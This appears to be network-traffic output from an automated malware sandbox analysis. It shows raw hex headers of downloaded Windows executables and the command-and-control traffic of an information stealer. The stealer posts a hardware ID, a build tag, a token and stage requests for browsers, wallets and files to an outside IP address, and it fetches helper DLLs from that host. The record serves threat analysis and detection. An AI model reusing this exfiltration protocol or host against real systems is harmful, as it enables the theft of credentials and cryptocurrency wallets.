Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:19:07 GMTContent-Type: application/octet-streamContent-Length: 3191296Last-Modified: Mon, 11 Nov 2024 17:39:18 GMTConnection: keep-aliveETag: "67324146-30b200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 d0 dd 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 7a 75 69 66 71 65 76 00 00 2b 00 00 b0 05 00 00 f6 2a 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 68 77 69 78 6b 67 63 00 10 00 00 00 b0 30 00 00 04 00 00 00 8c 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 90 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:19:12 GMTContent-Type: application/octet-streamContent-Length: 1744384Last-Modified: Mon, 11 Nov 2024 17:39:31 GMTConnection: keep-aliveETag: "67324153-1a9e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 66 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 67 00 00 04 00 00 c3 9a 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 29 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 64 73 76 75 63 6b 76 00 00 19 00 00 e0 4d 00 00 00 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6d 75 6d 63 6e 69 7a 00 10 00 00 00 e0 66 00 00 06 00 00 00 76 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 66 00 00 22 00 00 00 7c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:19:21 GMTContent-Type: application/octet-streamContent-Length: 2825728Last-Modified: Mon, 11 Nov 2024 17:51:07 GMTConnection: keep-aliveETag: "6732440b-2b1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 5a 35 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 62 6f 68 68 61 75 68 00 c0 2a 00 00 a0 00 00 00 be 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 73 76 7a 74 74 76 6d 00 20 00 00 00 60 2b 00 00 04 00 00 00 f8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 fc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 37 44 43 39 45 31 37 41 35 41 31 33 36 31 34 39 35 32 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="hwid"7A7DC9E17A5A1361495298------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="build"mars------DHJDAFIEHIEGDHIDGDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="message"browsers------AFBAFBKEGCFBGCBFIDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"plugins------FHIECBAFBFHIJKFIJDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="message"fplugins------HCAFIJDGHCBFHJKFCGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHCGCAEBFIJKFIDBGHDHost: 185.215.113.206Content-Length: 5367Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAAHost: 185.215.113.206Content-Length: 999Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 2d 2d 0d 0a Data Ascii: ------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="file"------EBKJDBAAKJDGCBFHCFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHDHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file"------IDAAKEHJDHJKEBFHJEGD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"wallets------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHIDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"files------GHJKJDAKEHJDGDGDGHID--
